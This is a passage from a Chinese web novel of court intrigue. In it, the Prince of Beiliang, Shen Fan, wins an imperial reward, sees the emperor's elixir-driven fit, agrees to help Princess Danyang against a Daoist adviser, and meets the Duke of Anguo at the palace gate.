另一边的丹阳公主却非常满意,看向沈凡提醒:“我说北凉王还不谢恩,这可是我父皇亲自给你升的官。” 我去,果然朝中有人好办事,这小娘们儿还真够意思! 就在沈凡对神武帝施礼要说谢恩时,侧旁猛然传来了太子的声音:“且慢。” “谢谢谢……”沈凡被这一突然状况弄了个措手不及,舌尖回转,硬生生把‘恩’字给憋了回去。 啥情况,怎么就来了个拦路虎? 就见太子赵锐对神武帝拱手道:“父皇,此事有些不妥。” “怎么不妥?”神武帝也被赵锐的举动弄得一愣,问道。 赵锐道:“按理说父皇连升北凉王两级官阶,儿臣不该有异议。 可我朝有制,五品及五品以上官员须要有军功或考取功名者担任,就算父皇简拔也要以此为前提。 可据儿臣所知,北凉王是世袭王爵,身上既无军功又无功名,故此还请父皇收回成命。” “沈凡,军功和功名你都没有么?”神武帝问。 沈凡眨眨眼回道:“臣没有。” 神武帝也眨眨眼道:“这朕还真不知道,不过太子说的没错,是有这个朝制。” 沈凡看向丹阳公主,就见她仿佛想起了什么,对自己微微点头,一双大眸子里明显带着失望。 一阵自卑感袭来,顿时让沈凡觉得比别人矮了一截儿。 自己这个王是皇帝封的,有丰厚的待遇和很高的地位,可要说功名和军功却是一个都没有。 这时就见太子赵锐道:“父皇,儿臣与您一样爱才,也知道北凉王说是个人才,可如此一来势必坏了规矩,若是传出去众官员必有非议。 所以儿臣建议,按制任命北凉王为六品官员,父皇可额外对其赏赐。” 神武帝对太子这番公私兼顾的话很满意,点头表示赞同,看向沈凡道: “沈凡,太子此言是谋国之策,这样……官就升你到六品,除此外你可在跟朕要一个赏赐。” 沈凡是有些失落,不过也知道这是朝廷的规矩,可让自己当着皇帝的面要赏赐,还真有些说不出口。 总不能直接说皇上我缺银子,我大把大把缺银子吧? 一旁的丹阳公主虽有不甘,却也知道太子说的没错,见沈凡站在那不说话,还以为这愣头青没见过世面,不知道要什么? 眼见父皇和太子都在看着他,就走过去小声道:“沈凡你想什么呢,你不是缺银子吗,快跟我父皇要银子。” 还是这小娘们儿懂我的心思……沈凡心头一暖,轻声问道:“直接要合适么?” “有什么不合适的,赶快!”丹阳公主嘀咕道,神情像极了一个帮夫君向娘家人要钱的小媳妇。 沈凡:“要多少合适?” 丹阳公主眼珠一动道:“五千两吧。” 沈凡顿时贪欲暴涨,问道:“能在多要点儿么,你的银子还没还呢,我缺钱。” 丹阳公主一瞪眼,从牙缝里挤出一句:“是你有经验,还是我有经验?” 沈凡默然……他记得当年父王得了大军功时,皇上才赏了三万两银子。 自己的功劳和父皇的军功没法比,看来丹阳公主让自己要五千两是有一定道理的。 “那、那我就听你的。”沈凡道。 丹阳公主樱唇微翘道:“这就对了。” 沈凡和丹阳公主嘀咕时,神武帝、太子赵锐、岳振江听不清,可离着他们不远,跪在地上的王灵瑶却能听到。 看着两人亲密无间的样子,王灵瑶心里燃起一种难以名状的酸意,脸颊不自觉抽搐了一下,十指下意识扣住地面。 时刻,神武帝正颇有兴趣看着女儿和沈凡在那里小声嘀咕,呵呵一笑问道:“丹阳,你是在给沈凡出主意么?” 正与沈凡眉目传信的丹阳公主吓了一跳,随即笑着回道:“回父皇的话,儿臣是在给沈凡出主意,就是想让他多要些银子。” “哦!”神武帝笑问:“那你准备让他要多少呀?” “沈凡,你自己说吧。”丹阳公主看向沈凡道。 要说刚才沈凡是已经打消了多要的念头,可现在他又改主意了,因为他敏锐的发现,皇帝真很宠爱丹阳公主。 要多少呢?沈凡心思快速转动着。 要一万两……对,就要一万两! 大不了皇上如果不喜,就赶紧打个五折。 于是,在丹阳公主、太子赵锐、岳振江一众人的注视下,沈凡对着神武帝伸出一根手指,用探试的口吻道:“一万两行么?” 闻听此言的丹阳公主一惊,不是说好了要五千么? 倒不是她不想让沈凡多要,只是自己在朝堂多年,知道以沈凡的功劳最多也就能赏银五千两,可在阻止已是来不及了。 太子赵锐则眼睛一瞪,他比丹阳公主更了解对臣子赏赐的规矩,心道——沈凡,你还真敢开牙! 就在丹阳公主和赵锐都以为父皇会为难时,不料却见他哈哈笑道: “沈凡呀沈凡,要是你父王就不会要这么多,罢了,看在朕女儿的面子就应了你。” 我去,误打误撞了! 沈凡大喜,忙对着神武帝高声施礼道:“臣谢陛下!” 言罢又对丹阳公主施礼道:“谢殿下!” 丹阳公主此时是又气又喜。 气得的是,这小子的胆子也太大了,连自己的话都不听。 喜的是,想到了自己在父皇心中份量重,却没想到会这么重,连这样破规矩的要求都同意了。 转瞬间喜悦又代替了生气,看向高高在上的父皇笑了。 不远处,跪在地上的王灵瑶嘴唇紧抿。 她现在可以确定,丹阳公主和沈凡的关系绝不是简单的上下级。 心中的妒意越来越大,仿若潮水般汹涌,让她的手指都快扣进了地砖里。 第六十九章:赵锐的心思 自古女儿就是父亲的小棉袄儿,丹阳公主甜甜的笑容,更加激发了神武帝的幸福感,看向女儿眼中满是笑意。 这一幕自然被善于揣摩圣意的太子赵锐看在眼里,他知道这时候必须要做些什么,以表示自己对沈凡的关心。 走到沈凡身前,伸手拍着他的肩头道:“北凉王你不要怪本宫,规矩就是规矩。 朝廷现在缺的就是人才,过些时日就是春闱开试,望你能考取个功名,到时本宫自不会吝惜提拔于你。” 沈凡本能的感觉赵锐是在诳自己,不过这话也提醒了自己。 是呀,现在国家无战事,军功暂时是弄不到了,但自己可以参加科考。 想到这,恭敬的回道:“臣明白。” 一旁的丹阳公主却翻了赵锐一眼,她还记着刚才的事,心道就算提拔也轮不到你! 宝座上的神武帝感慨的道:“太子所言正合朕意,如今文恬武嬉,贪风渐炽,吏治腐败,朕每每想到这些都心如刀绞。” 说到这时神武帝低头叹息了声,自肺腑里长长透了口气,刚好看到跪在地上的王灵瑶,点指着语气阴冷的道: “就像你和郑天泽,竟然在战场上做出用兵过狠之事,如此下去军心何在,简直是辜负圣意。 传旨,革去二人官爵,交刑部论罪。” 听到这话的王灵瑶如遭雷击,身子猛一抖,随即磕头如鸡啄米,口中道: “皇上恕罪,皇上恕罪,还请皇上看在臣有些苦劳的份上。再给臣些机会……” 看着王灵瑶苦苦哀求的样子,沈凡想替她说句话。 可转念一想,皇上的惩罚并不过分,估计最多是罢官几年。以后还是会启用的。 太子赵锐心一惊,郑天泽是安国公郑建山的孙子,老头儿与自己一直有交往,说过会联合勋贵支持自己,是一定要保的。 这个王灵瑶是自己新拉拢的人,还指着她笼络天下妇人,笼络勋贵家眷,绝不能就这么被丹阳和沈凡给弄下去了。 想到这,他走上前对神武帝拱手道:“父皇,王灵瑶现是母后的义女,又是您亲封的巾帼将军,天下妇人之楷模。 郑天泽是安国公之后,在西北也算有些战功。 还请念在他们二人有些苦劳的份上,看在母后和安国公的脸面上,不要惩罚的这么重了吧。” 神武帝偏着头看向儿子问:“太子说应该怎么办?” 赵锐道:“儿臣的意思是罚俸三年,将他们二人革去官职,依然在任上行走以观后效。” 赵锐的话没说完时,神武帝已是明白了他的心思,虽有拉拢臣子的意思,可考虑的都对。 特别是王灵瑶是自己亲封的巾帼将军,天下妇人之楷模,就这样把她论罪等同打自己的脸。 再有那个安国公,九十岁的老棺材瓤子了,偏偏是勋贵之首,为这点儿事就降罪他的孙子,弄不好会在勋贵中引起不必要的恐慌。 更何况儿子拉拢臣子也能理解,他毕竟是太子,是早晚继承大统之人,儿子能驾驭朝局,自己才能安心求长生之道…… “父皇,再不行就罚他们俸禄五年。”太子赵锐见父皇出了神,忙又说道,还对王灵瑶摆了下手。 王灵瑶明白太子殿下的意思,忙跪行几步,在离着龙案更近的地方再次叩头,圆润的额头都磕出了血。 “好了,就这么办吧。”神武帝看向赵锐道:“太子,你代朕下这份旨意。” “谢父皇!”赵锐拱手道,眼中带着喜色。 “谢皇上,谢太子殿下!”王灵瑶对着神武帝和赵锐分别磕头道。 神武帝朝一旁的魏珊瑚摆手道:“把王灵瑶带下去吧。” 王灵瑶站起身,跟着魏珊瑚向大殿外走去,在与沈凡擦肩而过时,还不忘狠狠瞪了一眼。 沈凡这时能说什么,心情复杂的很,只希望她能吸取教训,将头偏向一边全当没看见。 可王灵瑶瞪得这一眼刚好被丹阳公主看到,见沈凡面无表情,瞬间引起了她的玩心,欠欠地来到沈凡身边轻声道:“她刚才瞪你了。” 沈凡轻声道:“是么,没看见。” 丹阳公主有种一脚踢进被子里的感觉,瞪着眼睛道:“她真的瞪你了!” 这小娘们怎么看着不像好人呐,就这么喜欢挑拨离间…… 沈凡见皇帝正与太子说话,没有注意这边,就对丹阳公主道:“我就看到你在瞪着我。” “你……”丹阳公主刚要发飙,忽听父皇道:“你们两个过来。” “是。”沈凡应了声,毕恭毕敬走了过去,后面跟着脸色发暗的丹阳公主。 “沈凡,说说你是怎么发现西北道之事的?”神武帝道。 沈凡道:“皇上,臣是发现阵亡参将张硕家书中说,西北无雪,至瘟疫横行,西北道无法及时供应伤寒药。 而在户部的文书中却出现了,遇暴雪,军民被冻死无数的话,所以臣就立刻上报给了公主殿下。 是公主回忆起了您给西北调拨救灾银的事,要说发现西北有事也是公主殿下的功劳。” 说着沈凡特意看向丹阳公主,眼神里现出敬仰之色。 神武帝欣慰的道:“吾儿聪慧呀!” 刹那间,丹阳公主刚才的气儿就消了,笑咪咪的道:“父皇过奖了,还是沈凡发现的及时。” 沈凡……小娘们,本王还治不了你? 另一边,就见神武帝看向太子赵锐道:“西北的事,你要即刻派出钦差去彻查,务必要查个水落石出。” 赵瑞回道:“父皇请放心。” 神武帝点点头又道:“兵部的那几个败类,你准备怎么处置?” 赵锐知道父皇指的是朱陶利、刘利、马卫三人。 自己现在是监政,发生这样的事多少有些责任,不能让父皇觉得自己的手段弱,想到这回道: “父皇放心,儿臣一定依律严办,三犯斩立决,抄家,三族发配岭南。” 神武帝低头思索着道:“兵部前几日刚出了贪污阵亡军士抚恤金案,今日又出了贪污病亡军士抚恤金案,朕看这个兵部都快成独立王国了。 兵部尚书段传福是你保举上来的人,不能脱了干系,罚俸一年,上罪己折子吏部留档,至于那三个败类……” 神武帝说到这时突然涨红了脸,“砰”得一击桌案,抬头厉声道: “不严惩不足以惩治这几个混蛋,传旨下去凌迟处死,凌迟处死……让百姓们都看到!” 第七十章:我也怕呀 见皇上发了威,包括沈凡在内的几人脸色都是一白,周围的几个太监和宫女更是吓得当时跪在了地上。 赵锐见父皇气得浑身乱颤,为避免祸及自身,忙也跪在地上道:“父皇息怒,儿臣会亲自监刑。” 丹阳公主关心的道:“父皇不要动怒,龙体要紧!” 神武帝咽了口又苦又涩的口水,努力平息着心中的怒火。 可这股火不但没有平息下来,突然又感到一阵莫名的烦躁袭来……最近这半年这是怎么了? 以前卯时起床理政,一直折腾到晚上,六七个时辰都不会感到疲倦。 可最近这半年不知怎么精力越发不济,理政的时辰也越来越短。 就像今日稍微用了些心神,就感觉身上一阵热,一阵凉,一阵气恼,一阵烦躁…… 七荤八素间,神武帝感觉气息喘得都不匀了,捂住胸口忽然发出一阵剧烈的咳嗽。 “父皇,您怎么了?”赵锐问道。 丹阳公主也是脸色一变,忙跑到神武帝身边道:“父皇您怎么了?” 神武帝一手扶着女儿,另一只手摆动着道:“朕没事,魏珊瑚,快,快把朕的仙丹拿来!” 见父皇要仙丹,丹阳公主想都没想脱口而出道:“父皇,别吃那东西了,还是叫太医吧!” “胡说,你想让朕死吗?” 在这一瞬间,神武帝的性情已然大变,似乎连人都不认得了,猛得推开丹阳公主,仰天大叫道:“快把朕的仙丹拿来,仙丹拿来!” 丹阳公主冷不防被父皇这么一推,竟脚下踩空,一下从台阶上跌了下去。 幸好沈凡手疾眼快将她抱住,这才没有摔伤。 “父皇!” 丹阳公主还想过去,却被沈凡一把拉住,她惊鄂地回头望去,就见沈凡对着自己微微摇头。 从沈凡的眼神中她看出来了,这是在告诉自己现在不宜过去。 看着狂躁的父皇,丹阳公主知道沈凡是对的,只能边抹着眼泪边看向不住叫着父皇。 此刻,魏珊瑚已是拿来了一个紫檀木盒,从里面取出一枚鲜红色的药丸。 太子赵锐一把接了过去道:“让我来,你赶快去给我父皇弄仙水。” “是是。”魏珊瑚应了声。 就见他从紫檀木盒里取出一块巴掌大的白玉,又取出一个小锉,快速将白玉的一角搓成粉末,倒进一个玉杯里。 另有一个太监拿来一个银壶,将里面的水倒进玉杯里。 魏珊瑚接过玉杯,来到神武帝身边道:“陛下,这是今早集来的朝露。” “快快!” 神武帝气喘吁吁的道,先是接过赵锐手中的红色药丸放进口中,然后又接过玉杯合水服下。 这一切都被沈凡看在眼里,让他感到奇怪的是,只是过了十几个呼吸的功夫,皇帝就不再咳了,神志也开始清明起来。 此刻,神武帝才想起刚才推丹阳公主的事,看向她道:“”你没事吧?” “父皇,儿臣没事……您就别再吃这个了!” 一听这话,神武帝的脾气就又上来了,喘着粗气道:“你懂什么,太医院的那些庸医帮不了你父皇。 父皇这是在渡劫,按黄天师所说,最多再修行三年,没准就能长生了,知道吗?” 丹阳公主哭得更厉害了,却不敢在劝了。 沈凡则眉头微皱,暗道——这不傻吗? “沈凡,岳振江,你们带丹阳公主下去吧,好好办差。”神武帝对着沈凡几人摆摆手道。 沈凡见状对着皇帝拱拱手道:“臣告退。” 说完就扶着丹阳公主退了出去,后面紧跟着一脸惶恐的岳振江。 几人出了西苑后,丹阳公主已是恢复了些许平静,停下脚步,扭头看向岳振江道: “岳大人,皇上的事你知道怎么应对吗?” 岳振江的表情更加惶恐,立刻躬身施礼道:“臣刚才什么都没看见,什么也没听见。” 丹阳公主眉头微微一皱道:“你回去吧,本宫与北凉王说些事。” “是。”早就想离开这是非之地的岳振江应了声,快步离开。 岳振江走后,丹阳公主并没有理会沈凡,沿着长长的甬道向宫外走。 沈凡也不说话,在她身后半步跟着。 张凤、艳姑姑和那些丹阳公主的随从见状,则跟在他们身后五六丈处。 就这样走了十几丈,沈凡忽听丹阳公主道:“你相信有长生不老之术么?” “这个……怎么说呢?”沈凡咂了咂嘴道。 “别藏着掖着,怎么想的就怎么说。”丹阳公主斜了沈凡一眼道。 通过丹阳公主刚才叫太医的举动,沈凡知道她和自己一样不信这些,沉吟了下道: “有没有长生不老我不知道,反正我知道秦皇汉武都追求过长生不老之术,他们现在都在坟里躺着呢。” 丹阳公主被这话说的一笑,不过却是苦笑,又问:“那你说我父皇服了那仙丹和玉水后,为何很快就醒了过来?” 沈凡道:“我不大懂医理,不过我娘生前也喝过玉屑,说少量服用有清肠的功效,至于那仙丹么……我真不知道。” “本宫知道。”丹阳公主目光炯炯的道:“张凤曾请名医看过,那名医说丹药里都是虎狼之药,就是将死之人吃了也能回光返照。” 沈凡听得惊心动魄,问道:“皇上不知道么?” 丹阳公主道:“父皇不信我的话,只信那个黄天师。” 沈凡看到她说到这停下脚步道:“那个黄天师误国,本宫要对付他,你帮不帮本宫?” 沈凡感觉汗毛都竖起来了,暗道又不是我爹寻求长生不老,再说你爹是皇帝,他想寻长生谁拦得住? “你到底帮不帮?”见沈凡在犹豫,丹阳公主轻声质问道。 沈凡道:“我只是个六品官,又没实权,我看你还是找岳大人才对路,他是大理寺寺卿。” 丹阳公主叹了口气道:“此人在户部办差时很勤勉,调任大理寺卿后也没让我失望过。 可你刚才也看见了,我只是吓了他一下,他就怕成那个样子,所以他不行。” 沈凡毫不加思索的道:“他不行我就行?我也怕呀!” 第七十一章:我帮还不行么 见沈凡竟说出‘也怕’的话,丹阳公主顿感心一寒道:“你怕什么,不是有我么? 在说这么做也是为了我父皇,为了江山社稷,如果连你都不帮我,我都不知道找谁了……” 丹阳公主说到这时,目光空洞地看向沈凡,眼眶已经开始泛红。 沈凡没想到,高高在上的公主会来这一出。 这小娘们对自己很好,还真有些于心不忍。 皇上对自己也不错,那么英明的一个人,如今被仙丹弄得性情大变……想到这道:“好好,我帮我帮,你别哭行不行?” “噗嗤……” 丹阳公主笑了,如花般的笑容绽放在她纯净的脸上,偏偏眼圈红肿,反而衬着那双眸子愈发迷人。 把个沈凡看得一痴,问道:“你说要我怎么帮?” 丹阳公主摇摇头道:“我也没想好,你得替我想个法子。” “合着你连对付人家的法子还没想出来呢!”沈凡脱口而出道。 丹阳公主一梗纤细的脖颈道:“我要是想出来了还找你干什么,再说我也不擅阴谋诡计。” 沈凡一下子就冒汗了:“什么叫不擅阴谋诡计,好像我就擅长似得!” “你怎么不擅长?”丹阳公主自问自答道:“前几日在王灵瑶家,你用要把郑天泽赖账的事公布于朝堂,迫使他还了你五万两银子。 今日朱淘利带兵围你时,你假意妥协,然后来了招擒贼擒王,这不是阴谋诡计是什么?” 沈凡道:“这不是阴谋诡计,是足智多谋。” 丹阳公主笑道:“是我说错了,那就冲着足智多谋,不让你想办法还让谁想办法?” 原来在这等我呢……骑虎难下的沈凡只好叹了口气道:“那你总该告诉我,那个黄天师的底细吧。” “咯咯咯……”丹阳公主笑得那叫一个开心,说道:“他叫黄高攀,据说是龙虎山正一道张道陵真人的第七代传人,别的我就不知道了。” 沈凡想了想道:“若想算计他,还得先知道他的根底,你说的这些太少了,得派人去龙虎山打探一番。” 丹阳公主点点头道:“说的对,这件事就由你来办。” 沈凡道:“我手下才几个人,你手下人多,还是你派人去好。” 丹阳公主摇摇头道:“不行,我能差遣的人是不少,可能信任的也就张凤和艳姑姑两人。 其他人里我说不准谁是父皇的暗卫,一旦让父皇知道我在暗中查这事就遭了。 你的北凉王府算是刚建府,暗卫应该还来不及进入,还是用你的人稳妥。” 沈凡闻言就觉脑子“嗡”了声道:“你是说暗卫也会监视我?” 丹阳公主道:“这不叫监视,这是太祖皇帝定下的祖制之一,朝中五品以上官员和众勋贵都会享受这般待遇,你应该感到荣幸。” 我荣幸你个大头鬼……沈凡的脑海里不由浮现出大内总管魏珊瑚那张人畜无害的鸡蛋脸,看来是得多几个心眼儿了。 倒不是沈凡有什么不轨之心,只是不想连晚上吃了什么,第二天皇帝都知道。 心里是这样想,脸上却毫无波澜的道:“好,我派人查,等有了消息咱们再商议。” 有了沈凡的帮忙,丹阳公主的心情好转起来,走路也轻快了不少。 似乎想到了什么,她转头唤了声:“张凤。” 五六丈外,张凤和艳姑姑正带着十几个太监和宫女跟着,听到主子唤自己忙应了声:“奴才来了。” 说着提起衣袍的下摆,弯着腰,一阵小碎步来到长公主身边,眼梢上挑,神情谦恭等着主子发话。 丹阳公主道:“刚才我父皇下了旨,赏赐北凉王银一万两,这事你派人去户部办一下,让他们今天就把银子送到北凉王府。” “奴才明白,主子还有何吩咐?”张凤问道。 见丹阳公主摆了摆手,便知趣的退了回去,还欣喜的看了眼沈凡,显然是为他高兴。 对丹阳公主的举动沈凡自是喜欢,不过有些纳闷的问:“皇上赏我的银子,怎么会从户部出?” 丹阳公主的俏脸上现出几分得意道:“我管着国库,凡朝廷给臣子的赏赐,自然都要从我户部出。 而且什么时候发都是我说了算,懂么?” “懂……嗯?” 沈凡下意识应了声,可随即就从她得意的神情上反应过来了。 这小娘们儿是在暗示自己要听话,不然这银子她大有可以缓发的权力。 想到自己刚才心软答应她办那么棘手的事,沈凡的心就不痛快起来。 怎么感觉得自己有点儿像拉磨的驴,累死累活不算还要感恩顺从,天下哪有这样的道理? 沈凡是越想越意难平,说道:“既然如此,干脆把欠我两万两银子也一起给我吧。” 丹阳公主还等着沈凡说谢呢,没想到等来的是这话,大眼睛一瞪道: “我说你小子属猴的,怎么顺杆爬呀,上辈子是不是催债鬼托生?” “我不属猴,我属龙。”沈凡也瞪起了眼道:“你可是说过,只要我差事办的好就把银子都还我。 没你这个欠债不还的,哪有我这个催债不休的?” 丹阳公主勃然大怒,眉头倒竖道:“你竟敢说本宫是欠债鬼?” 这小娘们儿的联想还挺丰富……沈凡道:“这‘鬼’字可是你自己加上去的,跟我没关系。” 傻子都能听出来这话是反讽,更何况是异常聪明的丹阳公主,气得她花枝乱颤,指着沈凡道: “你,你竟然敢以下犯上,就不怕我治你吗?” 沈凡的性格是尽量不与人发生冲突,特别是女人。 但既然已经交上了火,那没别的说的,就是一个字——干! 目光顺着丹阳公主纤细白嫩的手指顺延,看着她气呼呼的小脸道: “我怎么以下犯上了……欠债还钱自古天经地义,如果殿下要是治我,就是以大欺小试图赖账。” “你、你、你……”丹阳公主指着沈凡的手都在颤抖着。 按自己以往的脾气,不但不会还账,还会向父皇告一状。 可不是怎么的,这个沈凡就是让自己生不起真气,何况这事真是自己理亏。 可……可也不能这样就服软了? 丹阳公主突然咬住了唇瓣,一对大眼睛里水光闪动,狠狠一甩手,扭头就走。 第七十二章:又一次成功化解了危机 见丹阳公主甩手就沿着甬道走,沈凡心里嘀咕了句,跟谁耍性子呢…… 不过也并没有不管她,一声不吭跟在她身后。 因为沈凡知道,如果这时候自己不管她独自走了,那就从拌嘴变成了结仇,犯不上。 “张总管,主子和北凉王刚刚还好好的,怎么打起来了?”五六丈外,艳姑姑对张凤道。 张凤没有胡须的嘴角微微一抽道:“咱家哪儿知道。” 看着丹阳公主香肩隐约颤抖,艳姑姑于心不忍的道:“他把主子弄哭了,咱们就这么看着?” 张凤道:“你要怎样?” 艳姑姑:“打他,替主子出气。” 张凤面无表情的道:“主子没发话,谁敢动北凉王,再说刚才主子还让我给北凉王准备银子呢。 以咱家看,殿下和这位北凉王前世应该是冤家。” “什么意思?”艳姑姑问,忽然意识到什么道:“你是说主子和北凉王他们两个……” 张凤摇摇头道:“不可说,也不能说,更不敢说,跟着吧。” 要说沈凡这个人就是心软。 见丹阳公主越走越快,小腰扭动的同时还不时用袖子抹眼泪儿,想起刚才在西苑帮自己的事,不由生起一股怜香惜玉之情。 不说别的,冲这点这小娘们儿就比王灵瑶强百倍。 虽说要债是正事绝不能马虎,但在皇宫里,把一个堂堂的公主弄得哭鼻子的确不太好。 想到这,加快脚步与丹阳公主并肩而行,从袖中取出一块手帕递过去,还轻咳了两声。 泪眼朦胧的丹阳公主,忽然发现眼前多了一个手帕,看那只修长的手就知道是沈凡,没来头的心就是一暖。 可自小养成的任性的她怎么能接,冷冰冰的道:“拿开,你跟着本宫干什么,想图谋不轨吗?” 好心又当成驴肝肺了……沈凡下意识就要怼回去,可看到小娘们儿眼圈红肿,楚楚动人的样子又于心不忍,想了想道: “我必须跟着你,如果不跟着就是抗旨。” “什么意思?”丹阳公主被这话说得一愣。 沈凡道:“你忘了,刚才皇上可是说让我护送你出宫的。” 丹阳公主想起来了,父皇是说过这话,气呼呼的道:“不用,你跟着本宫,本宫早晚会被你气死!” 沈凡微微一笑:“那可不行,你要是被气个三长两短,我以后跟谁去?” “跟太子呗,人家比我强多了!”丹阳公主白了眼沈凡道。 就见沈凡的脸色忽然变得严肃起来,用轻而缓的声音道:“公主殿下比太子好。” 丹阳公主愣了下道:“什么意思?” 沈凡道:“不说殿下带护卫救我的事,就说刚才在皇上那,只有你真心想我得到赏赐,就冲这殿下就比太子好!” 丹阳公主……原来这小子说的是这事,自己刚才可没想这么多,只是话赶话到了那份上, 要知道太子是储君,也就是未来的皇帝,谁不想巴结,只有这小子……想到他父母都葬身大海……这是把自己当依靠了! 丹阳公主有种被自己感动的感觉,颔首道:“那是自然,本宫不亏待自己人。” 沈凡凝视着她,又把手帕递过去,再次用轻而缓的声音: “所以我说公主殿下比太子好,拿着,这里的穿堂风硬,小心冻伤了脸。” 丹阳公主动容了,作为父皇最宠爱的公主,阿谀奉承的话她听的多,可这样的话是从没听过的。 想自己刚才的言行是有些过分了,沈凡是个新晋王爷,连王府都不是自己的,正是缺钱的时候…… 不过身为公主的她自不会承认错了,一把拽过沈凡手里的手帕道:“这话本宫可记住了。” 又一次成功化解了危机! 沈凡松了口气同时深知这位丹阳公主的脾气,是个顺毛驴。 自不会错过乘胜追击的机会,现出一副可怜的神情道: “我知道殿下待人都是以诚相待,其实跟你要银子也是情非得已,你也知道,就连我那王府都是从皇上那借来的。” 这话说正说到丹阳公主的心里,她的眼神越发柔和,说道: “我知道,其实也不是不想给你,就是你有时候说话太气人了。” 沈凡见状忙拱拱手道:“那我以后就少气点儿殿下。” “这还差不多”丹阳公主回了句,可随即就反应过来了什么,嗔了沈凡一眼道:“什么叫少气一点儿?应该是本宫说什么就是什么!” 面对这种情况沈凡自不会妥协,但也没有选择像刚才那样硬刚,而是笑着道:“这个难说,不过……我会尽量不气殿下。” 说完这话后,为了避免与这小娘们儿再发生纠缠,沈凡特意加快了脚步。 “你……”丹阳公主用小脚愤恨的跺了一下地,刚要回敬两句,却发现沈凡已是走到了自己前面。 背影笔直如松,挺拔有力,仿佛一座山峰透露着英气,给人一种莫名的安全感和宁静感。 不知为什么,丹阳公主竟也加快了脚步,与沈凡并肩而行。 此时两个人都没说话。 沈凡脸上带着微笑,丹阳公主虽时不时会白上沈凡一眼,却难掩嘴角越来越浓的笑意。 “哎你看,他们又好上了?”艳姑姑看向张凤道。 张凤面无表情的“嗯”了声,继续不紧不慢跟在沈凡和丹阳公主后面。 艳姑姑歪着头看向前方的两人道:“别说,主子和北凉王看着还挺般配的?” 张凤依旧面无表情的“嗯”了声,不过看向沈凡眼中现出几许欣慰,几许期待。 因为他见过太多的浮夸子弟,而这位年轻的王爷与他们却不一样…… 出了长长的甬道进入前朝后,沈凡就不用步行了,因为他上了丹阳公主的马驾。 和上次一样,丰盈的艳姑姑依旧坐在丹阳公主身边,面向自己而坐,起到监视的作用。 不过沈凡发现,艳姑姑看自己的眼神与上次好像不太一样,审视中带着几分慈祥,把沈凡看得心直发毛。 有艳姑姑在,丹阳公主又恢复了原有的高冷。 不过从她让自己喝茶,吃桌子上的橘子看,沈凡确定这小娘们儿的气已经完全消了。 第七十三章:突然出现的安国公 “这时还能吃到橘子?真是稀罕物!”沈凡看着手里金红色的橘子感叹了句。 丹阳公主微微一笑道:“这是御膳房在夏天时放在冰库里的,我嫌酸,你多吃些。” 沈凡剥开吃了一瓣,给了丹阳公主道:“甜的,你尝尝。” “是么?” 丹阳公主接过,用纤细的手掰了一瓣塞进嘴里,顿时酸得打了个寒战。 看着沈凡憋笑的样子,丹阳公主不动声色将剩下的橘子还给沈凡道:“是很甜,你都吃了吧。” 沈凡不动声色地接过,换上一副笑脸,给了把自己看得直发毛的艳姑姑道:“艳姑姑,你也尝尝。” 艳姑姑一直在看着沈凡,没发现主子的异常,笑着接过道:“谢王爷。” 当她把一瓣橘子放进口中后,顿时圆乎乎的大脸就皱成了一团,像个肉包子。 “是不是很甜?”沈凡笑咪咪的问。 “噗嗤……你也太坏了!”侧旁传来了丹阳公主的笑骂声。 艳姑姑这才反应过来被算计了,可做为奴仆又不能说什么,只能一边面目狰狞地看着沈凡,一边把橘子吃完…… 冬日的天暗得比较早,刚过寅时,西边的云就已经暗了下来,将偌大一座紫禁城笼罩在一片紫色的光芒里。 车驾到达午门时,沈凡透过车窗看到,有不少太监在挂宫灯。 这时忽听前方传来一阵若有若无的喧哗声,马车也随之停了下来。 “去看看怎么回事?”丹阳公主对艳姑姑道。 艳姑姑应了声,翘着丰满的臀儿刚打开车门,就见张凤已是来到了车架前道: “启禀公主殿下,安国公来了,人在午门外,说是要见您和北凉王。” 丹阳公主一惊,问道:“他怎么来了,又怎么知道北凉王与本宫在一起?” 张凤回道:“奴才刚才打听了,安国公得知孙子被皇上鞭打就赶到了这里,他知道北凉王也进宫了。 对了,跟他一起来的还有巾帼将军的父亲。” 丹阳公主神情一凝,看了眼面无表情的沈凡又问:“郑天泽和王灵瑶呢?” 张凤道:“王灵瑶和他父亲已经带着郑天泽回去治伤了,还有,安国公看上去挺激动。” 这时,就听午门外传来一阵喊声:“公主殿下,老臣拜见公主殿下!” 一听这洪亮又苍老的声音沈凡就猜到了,应该就是那位九十多岁的安国公郑群山。 中气十足,比驴叫得都响亮……看来传言不假,这老头儿的确异于常人。 “沈凡,看样子人家见我是假,专门来堵你是真。”丹阳公主道。 沈凡微微一笑道:“郑天泽犯的是国法,难道安国公还敢找我报仇不成?” 丹阳公主笑了笑道:“有没有胆子跟本宫会会这位安老国公?” 沈凡摊了摊手,做了个请的动作。 车门被大开后,丹阳公主在艳姑姑的搀扶下下了马车,沈凡一片腿也跳了下来。 丹阳公主对前方的一众侍卫道:“都让开,请安老国公过来。” 随着众侍卫闪开一条道路,沈凡看到,午门高大的门楼下站着一位身材魁梧的老者。 此时,这老者正大步向自己这边走来。 身高足有八尺,虽然头发已经花白,一双虎眼却炯炯有神, 满脸胡须在他的脚步声中颤抖着,宛如一头狂野的雄狮,透露出威严和难以言表的杀气。 随着他越走越近,沈凡发现丹阳公主那些侍卫的神情都紧张起来。 张凤暗中握紧了双拳,随时准备出手保护自己的主子。 “别怕,你是本宫的人,一切由我挡着。”丹阳公主轻声道了句。 “我不怕,你不说他跑起来腿瘸吗。”沈凡也轻声回道。 丹阳公主被这话逗得一乐,紧接着就被狮吼一样的声音吓了一跳:“老臣见过公主殿下。” 丹阳公主微微一屈膝道:“安国公不必客气,您是前辈。” 之所以这么客气是有原因的,这位安国公在太祖时期就是一员猛将。 如今七十年过去,已然成了四朝元老,连皇上对他都以礼相待,丹阳公主自不会在礼节上有所差池,施礼后问道:“请问老国公,找本宫有事?” 郑建山并没有回这个问题,而是看向丹阳公主道:“请问殿下,哪位是新晋北凉王?” 丹阳公主眉头微微一皱,侧身指向身边的沈凡道:“这位就是新晋北凉王沈凡。” 此时的丹阳公主已经想好了,客气归客气,如果这老头儿敢找沈凡的麻烦,自己就以公主的身份压他。 沈凡则用警惕的目光看着安国公,倒要看看老家伙是怎么护犊子的? 可让沈凡没想到的是,郑建山突然仿若换了个人般,脸上带着笑意上下打量着自己道: “果然是虎父无犬子,颇有老北凉王的几分英姿!” 什么状况……沈凡有些摸不着头脑,不过见对方如此客气,自也不能失了礼节,向前一步对郑群山拱手还礼道: “晚辈见过安国公,不知您找晚辈有什么事? 接下来发生的让沈凡更摸不着头脑,就见郑建山着自己和丹阳公主拱拱手道:“老夫是特意来感谢北凉王和丹阳公主殿下的。 